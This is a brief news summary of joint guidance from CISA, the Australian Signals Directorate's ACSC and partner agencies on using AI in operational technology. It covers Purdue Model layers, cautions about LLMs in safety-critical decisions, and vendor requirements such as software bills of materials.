CISA and Five Allies Tell You Not to Put LLMs in Safety-Critical OT Systems — Here's the Actual Guidance
A joint guidance document issued by CISA, the Australian Signals Directorate's ACSC, and international partners establishes principles for integrating AI into operational technology environments. The guidance explicitly differentiates acceptable AI use by Purdue Model layer, warns against LLM-first approaches for safety-critical decisions in OT, and requires AI vendors supplying OT environments to provide software bills of materials, data residency documentation, and transparent AI feature disclosure. For organizations running smart buildings and industrial systems, this is the clearest official framework yet for AI in OT.
